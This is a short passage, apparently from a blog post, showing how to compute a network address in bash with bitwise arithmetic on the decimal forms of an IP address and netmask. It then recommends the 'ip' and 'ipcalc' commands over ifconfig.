By converting the IP-base-256 address, I get IPDEC=1572395042 and NMDEC=4294967040 in decimal
NWDEC=$((IPDEC&NMDEC))
That’s simple. My network IP is 1572395008
Let’s print it
NW=$((NWDEC/256/256/256)).$((NWDEC/256/256%256)).$((NWDEC/256%256)).$((NWDEC%256)) NW=93.184.216.0
Thanks for reading me that far. Ok let blogger Mathieu Trudel-Lapierre tell you : If you’re still using ifconfig, you’re living in the past
ip addr
ip shows your ip, and ipcalc do the calculation
ipcalc -n "$(ip -o -4 -br address show eth0 |awk '{print $3}')" NETWORK=93.184.216.0